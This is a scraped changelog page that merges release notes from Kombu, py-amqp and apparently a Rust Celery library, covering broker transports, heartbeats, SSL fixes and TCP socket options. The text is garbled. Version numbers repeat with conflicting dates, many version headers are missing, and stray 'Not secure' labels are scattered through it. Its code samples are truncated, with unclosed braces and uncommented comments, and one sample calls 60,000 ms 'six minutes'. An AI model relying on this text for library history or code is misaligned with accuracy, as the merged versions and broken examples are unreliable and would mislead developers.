* Cached declarations (:func:`~kombu.common.maybe_declare`)
are now bound to the underlying connection, so that
entities are redeclared if the connection is lost.

This also means that previously uncacheable entities
(e.g. non-durable) can now be cached.

* compat ConsumerSet: can now specify channel.

.. _version-2.1.7:


:release-date: 2012-04-27 06:00 P.M BST
:release-by: Ask Solem

* compat consumerset now accepts optional channel argument.

.. _version-2.1.6:


:release-date: 2012-04-23 01:30 P.M BST
:release-by: Ask Solem

* SQLAlchemy transport was not working correctly after URL parser change.

* maybe_declare now stores cached declarations per underlying connection
instead of globally, in the rare case that data disappears from the
broker after connection loss.

* Django: Added South migrations.

Contributed by Joseph Crosland.

.. _version-2.1.5:


:release-date: 2012-04-13 03:30 P.M BST
:release-by: Ask Solem

* The url parser removed more than the first leading slash (Issue 121).

* SQLAlchemy: Can now specify url using + separator


.. code-block:: python


* Better support for anonymous queues (Issue 116).

Contributed by Michael Barrett.

* ``Connection.as_uri`` now quotes url parts (Issue 117).

* Beanstalk: Can now set message TTR as a message property.

Contributed by Andrii Kostenko

.. _version-2.1.4:


Not secure
:release-date: 2016-12-14 03:40 P.M PST
:release-by: Ask Solem

- Removes byte string comparison warnings when running under ``python -b``.

Fix contributed by **Jon Dufresne**.

- Linux version parsing broke when the version included a '+' character
(Issue 119).

- Now sets default TCP settings for platforms that support them (e.g. Linux).

| Constant | Value |
| ``TCP_KEEPIDLE`` | ``60`` |
| ``TCP_KEEPINTVL`` | ``10`` |
| ``TCP_KEEPCNT`` | ``9`` |
| ``TCP_USER_TIMEOUT`` | ``1000`` (1s) |

This will help detecting the socket being closed earlier, which is very
important in failover and load balancing scenarios.

.. _version-2.1.3:


Not secure
:release-date: 2016-12-07 06:00 P.M PST
:release-by: Ask Solem

- Fixes compatibility with Python 2.7.5 and below (Issue 107).

.. _version-2.1.2:


Not secure
:release-date: 2016-12-07 02:00 P.M PST

- Linux: Now sets the :data:`~socket.TCP_USER_TIMEOUT` flag if available
for better failed connection detection.

Contributed by **Jelte Fennema**.

The timeout is set to the ``connect_timeout`` value by default,
but can also be specified by using the ``socket_settings`` argument
to :class:`~amqp.Connection`:

.. code-block:: python

from amqp import Connection
from amqp.platform import TCP_USER_TIMEOUT

conn = Connection(socket_settings={
TCP_USER_TIMEOUT: int(60 * 1000), six minutes in ms.

When using :pypi:`Kombu` this can be specified as part of the

.. code-block:: python

from amqp.platform import TCP_USER_TIMEOUT
from kombu import Connection

conn = Connection(transport_options={
'socket_settings': {
TCP_USER_TIMEOUT: int(60 * 1000), six minutes in ms.

Or when using :pypi:`Celery` it can be specified using the
``broker_transport_options`` setting:

.. code-block:: python

from amqp.platform import TCP_USER_TIMEOUT
from celery import Celery

app = Celery()
TCP_USER_TIMEOUT: int(60 * 1000), six minutes in ms.

- Python compatibility: Fixed compatibility when using the python ``-b`` flag.

Fix contributed by Jon Dufresne.

.. _version-2.1.1:


Not secure
:release-date: 2016-10-13 06:36 P.M PDT
:release-by: Ask Solem

.. _version-2.1.0:

- **Requirements**

- Now depends on :ref:`Vine 1.1.3 <vine:version-1.1.3>`.

- Frame writer: Account for overhead when calculating frame size.

The client would crash if the message was within a certain size.

- Fixed struct unicode problems (108)

* Standardize pack invocations on bytestrings.

* Leave some literals as strings to enable interpolation.

* Fix flake8 fail.

Fix contributed by **Brendan Smithyman**.


Not secure
:release-date: 2016-09-07 04:23 P.M PDT
:release-by: Ask Solem

- **Requirements**

- Now depends on :ref:`Vine 1.1.2 <vine:version-1.1.2>`.

- Now licensed under the BSD license!

Thanks to Barry Pederson for approving the license change,
which unifies the license used across all projects in the Celery

- Datetimes in method frame arguments are now handled properly.

- Fixed compatibility with Python <= 2.7.6

- Frame_writer is no longer a generator, which should solve
a rare "generator already executing" error (Issue 103).

.. _version-2.0.3:


Not secure
:release-date: 2016-07-11 08:00 P.M PDT
:release-by: Ask Solem

- SSLTransport: Fixed crash "no attribute sslopts" when ``ssl=True``
(Issue 100).

- Fixed incompatible argument spec for ``Connection.Close`` (Issue 45).

This caused the RabbitMQ server to raise an exception (INTERNAL ERROR).

- Transport: No longer implements `__del__` to make sure gc can collect

It's the responsibility of the caller to close connections, this was
simply a relic from the amqplib library.

.. _version-2.0.2:


Not secure
:release-date: 2016-06-10 5:40 P.M PDT
:release-by: Ask Solem

- Python 3: Installation requirements ended up being a generator
and crashed

Fix contributed by ChangBo Guo(gcb).

- Python <= 2.7.7: struct.pack arguments cannot be unicode

Fix contributed by Alan Justino and Xin Li.

- Python 3.4: Fixed use of `bytes % int`.

Fix contributed by Alan Justino.

- Connection/Transport: Fixed handling of default port.

Fix contributed by Quentin Pradet.

.. _version-2.0.1:


Not secure
:release-date: 2016-05-31 6:20 P.M PDT
:release-by: Ask Solem

- Adds backward compatibility layer for the 1.4 API.

Using the connection without calling ``.connect()`` first will now work,
but a warning is emitted and the behavior is deprecated and will be
removed in version 2.2.

- Fixes kombu 3.0/celery 3.1 compatibility (Issue 88).

Fix contributed by Bas ten Berge.

- Fixed compatibility with Python 2.7.3 (Issue 85)

Fix contributed by Bas ten Berge.

- Fixed bug where calling drain_events() with a timeout of 0 would actually
block until a frame is received.

- Documentation moved to (Issue #89).

See for the reasoning
behind this change.

Fix contributed by Adam Chainz.

.. _version-2.0.0:


Not secure
:release-date: 2016-05-26 1:44 P.M PDT
:release-by: Ask Solem

- No longer supports Python 2.6

- You must now call Connection.connect() to establish the connection.

The Connection constructor no longer has side effects, so you have
to explicitly call connect first.

- Library rewritten to anticipate async changes.

- Connection now exposes underlying socket options.

This change allows to set arbitrary TCP socket options during the creation of
the transport.

Those values can be set passing a dictionray where the key is the name of
the parameter we want to set.
The names of the keys are the ones reported above.

Contributed by Andrea Rosa, Dallas Marlow and Rongze Zhu.

- Additional logging for heartbeats.

Contributed by Davanum Srinivas, and Dmitry Mescheryakov.

- SSL: Fixes issue with remote connection hanging

Fix contributed by Adrien Guinet.

- SSL: ``ssl`` dict argument now supports the ``check_hostname`` key
(Issue 63).

Contributed by Vic Kumar.

- Contributions by:

Adrien Guinet
Andrea Rosa
Artyom Koval
Corey Farwell
Craig Jellick
Dallas Marlow
Davanum Srinivas
Federico Ficarelli
Jared Lewis
Rémy Greinhofer
Rongze Zhu
Yury Selivanov
Vic Kumar
Vladimir Bolshakov

.. _version-1.4.9:


:release-date: 2011-11-30 01:00 P.M GMT
:release-by: Ask Solem

* Fixes issue with ``kombu.compat`` introduced in 1.5.0 (Issue 83).

* Adds the ability to disable content_types in the serializer registry.

Any message with a content type that is disabled will be refused.
One example would be to disable the Pickle serializer:

>>> from kombu.serialization import registry
by name
>>> registry.disable('pickle')
or by mime-type.
>>> registry.disable('application/x-python-serialize')

.. _version-1.5.0:


:release-date: 2011-11-27 06:00 P.M GMT
:release-by: Ask Solem

* kombu.pools: Fixed a bug resulting in resources not being properly released.

This was caused by the use of ``__hash__`` to distinguish them.

* Virtual transports: Dead-letter queue is now disabled by default.

The dead-letter queue was enabled by default to help application
authors, but now that Kombu is stable it should be removed.
There are after all many cases where messages should just be dropped
when there are no queues to buffer them, and keeping them without
supporting automatic cleanup is rather considered a resource leak
than a feature.

If wanted the dead-letter queue can still be enabled, by using
the ``deadletter_queue`` transport option:

.. code-block:: pycon

>>> x = Connection('redis://',
... transport_options={'deadletter_queue': 'ae.undeliver'})

In addition, an :class:`UndeliverableWarning` is now emitted when
the dead-letter queue is enabled and a message ends up there.

Contributed by Ionel Maries Cristian.

* MongoDB transport now supports Replicasets (Issue 81).

Contributed by Ivan Metzlar.

* The ``Connection.ensure`` methods now accepts a ``max_retries`` value
of 0.

A value of 0 now means *do not retry*, which is distinct from :const:`None`
which means *retry indefinitely*.

Contributed by Dan McGee.

* SQS Transport: Now has a lowercase ``sqs`` alias, so that it can be
used with broker URLs (Issue 82).

Fix contributed by Hong Minhee

* SQS Transport: Fixes KeyError on message acknowledgments (Issue 73).

The SQS transport now uses UUID's for delivery tags, rather than
a counter.

Fix contributed by Brian Bernstein.

* SQS Transport: Unicode related fixes (Issue 82).

Fix contributed by Hong Minhee.

* Redis version check could crash because of improper handling of types
(Issue 63).

* Fixed error with `Resource.force_close_all` when resources
were not yet properly initialized (Issue 78).

.. _version-1.4.3:


:release-date: 2016-01-08 5:50 P.M PST
:release-by: Ask Solem

- Fixes compatibility with Linux/macOS instances where the ``ctypes`` module
does not exist.

Fix contributed by Jared Lewis.

.. _version-1.4.8:


:release-date: 2015-12-07 12:25 A.M
:release-by: Ask Solem

- ``abstract_channel.wait`` now accepts a float `timeout` parameter expressed
in seconds

Contributed by Goir.

.. _version-1.4.7:


:release-date: 2015-10-02 05:30 P.M PDT
:release-by: Ask Solem

- Fixed libSystem error on macOS 10.11 (El Capitan)

Fix contributed by Eric Wang.

- ``channel.basic_publish`` now raises :exc:`amqp.exceptions.NotConfirmed` on

- AMQP timestamps received are now converted from GMT instead of local time
(Issue 67).

- Wheel package installation now supported by both Python 2 and Python3.

Fix contributed by Rémy Greinhofer.

.. _version-1.4.6:


:release-date: 2014-08-11 06:00 P.M UTC
:release-by: Ask Solem

- Now keeps buffer when socket times out.

Fix contributed by Artyom Koval.

- Adds ``Connection.Transport`` attribute that can be used to specify
a different transport implementation.

Contributed by Yury Selivanov.

.. _version-1.4.5:


:release-date: 2014-04-15 09:00 P.M UTC
:release-by: Ask Solem

- Can now deserialize more AMQP types.

Now handles types ``short string``, ``short short int``,
``short short unsigned int``, ``short int``, ``short unsigned int``,
``long unsigned int``, ``long long int``, ``long long unsigned int``
and ``float`` which for some reason was missing, even in the original
amqplib module.

- SSL: Workaround for Python SSL bug.

A bug in the python socket library causes ````
on a closed socket to raise :exc:`AttributeError` instead of

Fix contributed by Craig Jellick.

- ``Transport.__del_`` now handles errors occurring at late interpreter
shutdown (Issue 36).

.. _version-1.4.4:


:release-date: 2014-03-03 04:00 P.M UTC
:release-by: Ask Solem

- SSL transport accidentally disconnected after read timeout.

Fix contributed by Craig Jellick.

.. _version-1.4.3:


:release-date: 2014-02-09 03:00 P.M UTC
:release-by: Ask Solem

- Fixed bug where more data was requested from the socket
than was actually needed.

Contributed by Ionel Cristian Mărieș.

.. _version-1.4.2:


:release-date: 2014-01-23 05:00 P.M UTC

- Heartbeat negotiation would use heartbeat value from server even
if heartbeat disabled (Issue 31).

.. _version-1.4.1:


:release-date: 2014-01-14 09:30 P.M UTC
:release-by: Ask Solem

- Fixed error occurring when heartbeats disabled.

.. _version-1.4.0:


:release-date: 2014-01-13 03:00 P.M UTC
:release-by: Ask Solem

- Heartbeat implementation improved (Issue 6).

The new heartbeat behavior is the same approach as taken by the
RabbitMQ java library.

This also means that clients should preferably call the ``heartbeat_tick``
method more frequently (like every second) instead of using the old
``rate`` argument (which is now ignored).

- Heartbeat interval is negotiated with the server.
- Some delay is allowed if the heartbeat is late.
- Monotonic time is used to keep track of the heartbeat
instead of relying on the caller to call the checking function
at the right time.

Contributed by Dustin J. Mitchell.

- NoneType is now supported in tables and arrays.

Contributed by Dominik Fässler.

- SSLTransport: Now handles ``ENOENT``.

Fix contributed by Adrien Guinet.

.. _version-1.3.3:


:release-date: 2011-09-16 06:00 P.M BST
:release-by: Ask Solem

* Python 3: AMQP_PROTOCOL_HEADER must be bytes, not str.

.. _version-1.3.4:


:release-date: 2011-09-16 06:00 P.M BST
:release-by: Ask Solem

* Fixes syntax error in pools.reset

.. _version-1.3.3:


:release-date: 2013-11-11 03:30 P.M UTC
:release-by: Ask Solem

- SSLTransport: Now keeps read buffer if an exception is raised
(Issue 26).

Fix contributed by Tommie Gannert.

.. _version-1.3.2:


:release-date: 2013-10-29 02:00 P.M UTC
:release-by: Ask Solem

- is now a channel object (not the channel id).

- Bug in previous version caused the socket to be flagged as disconnected

.. _version-1.3.1:


:release-date: 2013-10-24 04:00 P.M UTC
:release-by: Ask Solem

- Now implements Connection.connected (Issue 22).

- Fixed bug where ``str(AMQPError)`` did not return string.

.. _version-1.3.0:


:release-date: 2013-09-04 02:39 P.M UTC
:release-by: Ask Solem

- Now sets ```` on delivery (Issue 12)

amqplib used to make the channel object available
as ``Message.delivery_info['channel']``, but this was removed
in py-amqp. librabbitmq sets ````,
which is a more reasonable solution in our opinion as that
keeps the delivery info intact.

- New option to wait for publish confirmations (Issue 3)

There is now a new Connection ``confirm_publish`` that will
force any ``basic_publish`` call to wait for confirmation.

Enabling publisher confirms like this degrades performance
considerably, but can be suitable for some applications
and now it's possible by configuration.

- ``queue_declare`` now returns named tuple of type

Supporting fields: ``queue``, ``message_count``, and

- Contents of ``Channel.returned_messages`` is now named tuples.

Supporting fields: ``reply_code``, ``reply_text``, ``exchange``,
``routing_key``, and ``message``.

- Sockets now set to close on exec using the ``FD_CLOEXEC`` flag.

Currently only supported on platforms supporting this flag,
which does not include Windows.

Contributed by Tommie Gannert.

.. _version-1.2.1:


:release-date: 2013-08-16 05:30 P.M UTC
:release-by: Ask Solem

- Adds promise type: :meth:`amqp.utils.promise`

- Merges fixes from 1.0.x

.. _version-1.2.0:


:release-date: 2012-11-12 04:00 P.M UTC
:release-by: Ask Solem

- New exception hierarchy:

- :class:`~amqp.AMQPError`
- :class:`~amqp.ConnectionError`
- :class:`~amqp.RecoverableConnectionError`
- :class:`~amqp.ConsumerCancelled`
- :class:`~amqp.ConnectionForced`
- :class:`~amqp.ResourceError`
- :class:`~IrrecoverableConnectionError`
- :class:`~amqp.ChannelNotOpen`
- :class:`~amqp.FrameError`
- :class:`~amqp.FrameSyntaxError`
- :class:`~amqp.InvalidCommand`
- :class:`~amqp.InvalidPath`
- :class:`~amqp.NotAllowed`
- :class:`~amqp.UnexpectedFrame`
- :class:`~amqp.AMQPNotImplementedError`
- :class:`~amqp.InternalError`
- :class:`~amqp.ChannelError`
- :class:`~RecoverableChannelError`
- :class:`~amqp.ContentTooLarge`
- :class:`~amqp.NoConsumers`
- :class:`~amqp.ResourceLocked`
- :class:`~IrrecoverableChannelError`
- :class:`~amqp.AccessRefused`
- :class:`~amqp.NotFound`
- :class:`~amqp.PreconditionFailed`

.. _version-1.1.0:


:release-date: 2011-06-13 04:00 P.M BST
:release-by: Ask Solem

* Redis: Fixes issue introduced in 1.1.4, where a redis connection
failure could leave consumer hanging forever.

* SQS: Now supports fanout messaging by using SimpleDB to store routing

This can be disabled by setting the `supports_fanout` transport option:

>>> Connection(transport='SQS',
... transport_options={'supports_fanout': False})

* SQS: Now properly deletes a message when a message is acked.

* SQS: Can now set the Amazon AWS region, by using the ``region``
transport option.

* amqplib: Now uses `localhost` as default hostname instead of raising an

.. _version-1.1.5:


:release-date: 2011-06-07 06:00 P.M BST
:release-by: Ask Solem

* Fixes compatibility with redis-py 2.4.4.

.. _version-1.1.4:


:release-date: 2011-06-07 04:00 P.M BST
:release-by: Ask Solem

* Redis transport: Now requires redis-py version 2.4.4 or later.

* New Amazon SQS transport added.


>>> conn = Connection(transport='SQS',
... userid=aws_access_key_id,
... password=aws_secret_access_key)

The environment variables :envvar:`AWS_ACCESS_KEY_ID` and
:envvar:`AWS_SECRET_ACCESS_KEY` are also supported.

* librabbitmq transport: Fixes default credentials support.

* amqplib transport: Now supports `login_method` for SSL auth.

:class:`Connection` now supports the `login_method`
keyword argument.

Default `login_method` is ``AMQPLAIN``.

.. _version-1.1.3:


:release-date: 2011-04-21 04:00 P.M CEST
:release-by: Ask Solem

* Redis: Consuming from multiple connections now works with Eventlet.

* Redis: Can now perform channel operations while the channel is in
BRPOP/LISTEN mode (Issue 35).

Also the async BRPOP now times out after 1 second, this means that
canceling consuming from a queue/starting consuming from additional queues
has a latency of up to one second (BRPOP does not support subsecond

* Virtual: Allow channel objects to be closed multiple times without error.

* amqplib: ``AttributeError`` has been added to the list of known
connection related errors (:attr:`Connection.connection_errors`).

* amqplib: Now converts :exc:`SSLError` timeout errors to
:exc:`socket.timeout` (

* Ensures cyclic references are destroyed when the connection is closed.

.. _version-1.1.2:


:release-date: 2011-04-06 04:00 P.M CEST
:release-by: Ask Solem

* Redis: Fixes serious issue where messages could be lost.

The issue could happen if the message exceeded a certain number
of kilobytes in size.

It is recommended that all users of the Redis transport should
upgrade to this version, even if not currently experiencing any

.. _version-1.1.1:


:release-date: 2011-04-05 03:51 P.M CEST
:release-by: Ask Solem

* 1.1.0 started using ``Queue.LifoQueue`` which is only available
in Python 2.6+ (Issue 33). We now ship with our own LifoQueue.

.. _version-1.1.0:


:release-date: 2013-11-08 10:36 P.M UTC
:release-by: Ask Solem

- No longer supports Python 2.5

- Fixed receiving of float table values.

- Now Supports Python 3 and Python 2.6+ in the same source code.

- Python 3 related fixes.

.. _version-1.0.13:


:release-date: 2013-07-31 04:00 P.M BST
:release-by: Ask Solem

- Fixed problems with the SSL transport (Issue 15).

Fix contributed by Adrien Guinet.

- Small optimizations

.. _version-1.0.12:


:release-date: 2013-06-25 02:00 P.M BST
:release-by: Ask Solem

- Fixed another Python 3 compatibility problem.

.. _version-1.0.11:


:release-date: 2013-04-11 06:00 P.M BST
:release-by: Ask Solem

- Fixed Python 3 incompatibility in ``amqp/``.

.. _version-1.0.10:


:release-date: 2013-03-21 03:30 P.M UTC
:release-by: Ask Solem

- Fixed Python 3 incompatibility in ``amqp/``.
(Issue 11).

.. _version-1.0.9:


:release-date: 2013-03-08 10:40 A.M UTC
:release-by: Ask Solem

- Publisher ack callbacks should now work after typo fix (Issue 9).

- ``channel(explicit_id)`` will now claim that id from the array
of unused channel ids.

- Fixes Jython compatibility.

.. _version-1.0.8:


:release-date: 2013-02-08 01:00 P.M UTC
:release-by: Ask Solem

- Fixed SyntaxError on Python 2.5

.. _version-1.0.7:


:release-date: 2013-02-08 01:00 P.M UTC
:release-by: Ask Solem

- Workaround for bug on some Python 2.5 installations where (2**32) is 0.

- Can now serialize the ARRAY type.

Contributed by Adam Wentz.

- Fixed tuple format bug in exception (Issue 4).

.. _version-1.0.6:


Not secure
:release-date: 2012-11-29 01:14 P.M UTC
:release-by: Ask Solem

- ``Channel.close`` is now ignored if the connection attribute is None.

.. _version-1.0.5:


Not secure
:release-date: 2012-11-21 04:00 P.M UTC
:release-by: Ask Solem

- ``Channel.basic_cancel`` is now ignored if the channel was already closed.

- ```` is now a dict of sets::


.. _version-1.0.4:


Not secure
:release-date: 2012-11-13 04:00 P.M UTC
:release-by: Ask Solem

- Fixes Python 2.5 support

.. _version-1.0.3:


Not secure
:release-date: 2012-11-12 04:00 P.M UTC
:release-by: Ask Solem

- Now can also handle float in headers/tables when receiving messages.

- Now uses :class:`array.array` to keep track of unused channel ids.

- The :data:`~amqp.exceptions.METHOD_NAME_MAP` has been updated for
amqp/0.9.1 and Rabbit extensions.

- Removed a bunch of accidentally included images.

.. _version-1.0.2:


Not secure
:release-date: 2012-11-06 05:00 P.M UTC
:release-by: Ask Solem

- Now supports float values in headers/tables.

.. _version-1.0.1:


Not secure
:release-date: 2012-11-05 01:00 P.M UTC
:release-by: Ask Solem

- Connection errors no longer includes :exc:`AttributeError`.

- Fixed problem with using the SSL transport in a non-blocking context.

Fix contributed by Mher Movsisyan.

.. _version-1.0.0:


Not secure
:release-date: 2012-11-05 01:00 P.M UTC
:release-by: Ask Solem

- Channels are now restored on channel error, so that the connection does not
have to closed.

.. _version-0.9.4:



- Adds support for ``exchange_bind`` and ``exchange_unbind``.

Contributed by Rumyana Neykova

- Fixed bugs in funtests and demo scripts.

Contributed by Rumyana Neykova

.. _version-0.9.3:



- Fixed bug that could cause the consumer to crash when reading
large message payloads asynchronously.

- Serialization error messages now include the invalid value.

.. _version-0.9.2:



- Consumer cancel notification support was broken (Issue 1)

Fix contributed by Andrew Grangaard

.. _version-0.9.1:



- Supports draining events from multiple channels (``Connection.drain_events``)
- Support for timeouts
- Support for heartbeats
- ``Connection.heartbeat_tick(rate=2)`` must called at regular intervals
(half of the heartbeat value if rate is 2).
- Or some other scheme by using ``Connection.send_heartbeat``.
- Supports RabbitMQ extensions:
- Consumer Cancel Notifications
- by default a cancel results in ``ChannelError`` being raised
- but not if a ``on_cancel`` callback is passed to ``basic_consume``.
- Publisher confirms
- ``Channel.confirm_select()`` enables publisher confirms.
- ``['basic_ack'].append(my_callback)`` adds a callback
to be called when a message is confirmed. This callback is then
called with the signature ``(delivery_tag, multiple)``.
- Support for ``basic_return``
- Uses AMQP 0-9-1 instead of 0-8.
- ``Channel.access_request`` and ``ticket`` arguments to methods
- Supports the ``arguments`` argument to ``basic_consume``.
- ``internal`` argument to ``exchange_declare`` removed.
- ``auto_delete`` argument to ``exchange_declare`` deprecated
- ``insist`` argument to ``Connection`` removed.
- ``Channel.alerts`` has been removed.
- Support for ``Channel.basic_recover_async``.
- ``Channel.basic_recover`` deprecated.
- Exceptions renamed to have idiomatic names:
- ``AMQPException`` -> ``AMQPError``
- ``AMQPConnectionException`` -> ConnectionError``
- ``AMQPChannelException`` -> ChannelError``
- ``Connection.known_hosts`` removed.
- ``Connection`` no longer supports redirects.
- ``exchange`` argument to ``queue_bind`` can now be empty
to use the "default exchange".
- Adds ``Connection.is_alive`` that tries to detect
whether the connection can still be used.
- Adds ``Connection.connection_errors`` and ``.channel_errors``,
a list of recoverable errors.
- Exposes the underlying socket as ``Connection.sock``.
- Adds ``Channel.no_ack_consumers`` to keep track of consumer tags
that set the no_ack flag.
- Slightly better at error recovery



- Added a `MockBroker` for internal testing.
- Added more tests to the `app` module.
- Added a `prelude` module.
- Added support for YAML, MsgPack, and Pickle content types, behind the `extra_content_types` feature flag.


- Improved `TaskResultExt`. Now takes a `FnOnce() -> Context` instead of `&str`.


- Ensure a `Signature` inherits default `TaskOptions` from the corresponding `Task` and `Celery` or `Beat` app.
- Cleaned up remaining uses of `.unwrap()` in the library.
- Options returned with `Task::options()` now have the current values, where app-level values are overridden by task-level values.



- Added a `.display_pretty()` method on the `Celery` struct that prints out a cool ASCII logo
with some useful information about the app.
- Added an `AsyncResult` struct that acts as a handler for task results.
- Added `Task::retry_with_countdown` and `Task::retry_with_eta` trait methods so that tasks can
manually trigger a retry.


- Fields of the `Signature` struct made private to avoid confusion around which fields of `TaskOptions` apply to a `Signature`.
- `Celery::send_task` now returns an `AsyncResult` instead of a `String` for the `Ok` variant.
- Renamed `DummyBackend` to `LocalSchedulerBackend`.
- Switched to [`thiserror`]( for the error module instead of the deprecated `failure` crate.


- Fixed bug where `hard_time_limit` was ignored by worker if only specified at the app or task level.



- Added a `reconnect` method on the `Broker`.


- `Celery` and `Beat` apps will automatically try to reconnect the broker when the connection fails.



- Added a `hard_time_limit` task option for compatability with Python.


- The `timeout` task option was renamed to `time_limit` to be more consistent with the Python API.


- Compiles on Windows



- `beat` module with basic support for scheduling tasks.
- `beat` macro to create a `Beat` app.


Not secure

- `lapin` dependency updated to 1.0.
- `BrokerError` variants trimmed and simplified.
- The error handler closure passed to `Broker::consume` now takes a `BrokerError` as an argument.
- Improved error messages.



- `Message::headers::origin` field fixed. Before it included quotes around the hostname.


- `Request::hostname` field now populated by the `Celery` app consuming the task.


- Sending a task `with_timeout` will only set the `soft_time_limit` so that the behavior
is the same for Python consumers.



- Tasks must explicitly return a `TaskResult<T>` now.



- A `retry_for_unexpected` task configuration option. By default this is `true` (so the default behavior is unchanged).
But if set to `false`, tasks that raised `TaskError::UnexpectedError` won't be retried.



- `CeleryBuilder::task_route` now infallible. Error could be raised during the `build` phase instead.
- `Celery::consume_from` will return `Err(CeleryError::NoQueueToConsume)` if the slice of queues is empty.



- `Celery::consume_from` now takes multiple queues instead of just a single queue.
- Retry ETA method moved from tracer to task so that it can be customized.
- `TaskError` variants restricted to only `ExpectedError`, `UnexpectedError`, and `TimeoutError`. The `Retry` and `ExpirationError` variants moved to a new (non-public) error type: `TracerError`.



- `on_failure` and `on_success` options to `task` attribute macro.


- Removed `task_id` and `params` arguments to `on_failure` and `on_success` callbacks, since those can be gotten from the request object.


Not secure

- A `Signature` struct with includes task execution options (previously the fields in `TaskSendOptions`).
- A `bind` argument to the `task` macro. When `bind = true` is given, the task will be run as an instance method.
- A `Request` struct.


- `protocol::TryIntoMessage` trait renamed to `TryCreateMessage` and the one trait function `try_into_message` renamed to `try_create_message` to better reflect the fact that the trait function does not consume `self`.
- Task parameters are now separated from task struct.
- Task callback methods `on_failure` and `on_success` are now instance methods.
- `Celery::send_task` now takes a `Signature` instead of a `Task`.
- When tasks are defined through the `task` macro by annotating a function, that function needs to be explicitly marked async for the function to use async / await syntax.


- `TaskContext` struct.
- `TaskSendOptions`.
- `Celery::send_task_with`.



- Uses of `std::sync::Mutex` and `std::sync::RwLock` changed to their async-aware equivalents from `tokio`.
- The `Celery::register_task` method is now an async function due to the above.
- Fixed bug where tasks with a future ETA were acked before they were due, resulting in such tasks being lost if the worker was shutdown before they were due.


- The `SyncError` variants have been removed.



- `Celery::consume_from` now only accepts a single queue (once again) since there was a critical bug when we allowed consuming from multiple queues.



- Several error enums: `CeleryError`, `TaskError`, `BrokerError`, `ProtocolError`.
- `TaskResultExt` for easily converting the error type in a `Result` to a `TaskError` variant.


- The `error` module.
- The structure of the public API is now more compact. We expose a few more modules, including `broker`, `task`, and `error` instead of exporting all of the public elements from the crate root.
- The `app` macro (previously `celery_app`) no longer takes an actual broker type (like `AMQPBroker`) for the `broker` parameter. Instead you can just use the literal token `AMQP`. This means one less import for the user.


- The `Error` type.
- The `celery_app` macro has been renamed to just `app`.
- The `ResultExt` re-export.


.. _version-5.0.0:


:release-date: 2010-07-22 04:20 P.M CET
:release-by: Ask Solem

* Initial fork of carrot

Change log



Has known vulnerabilities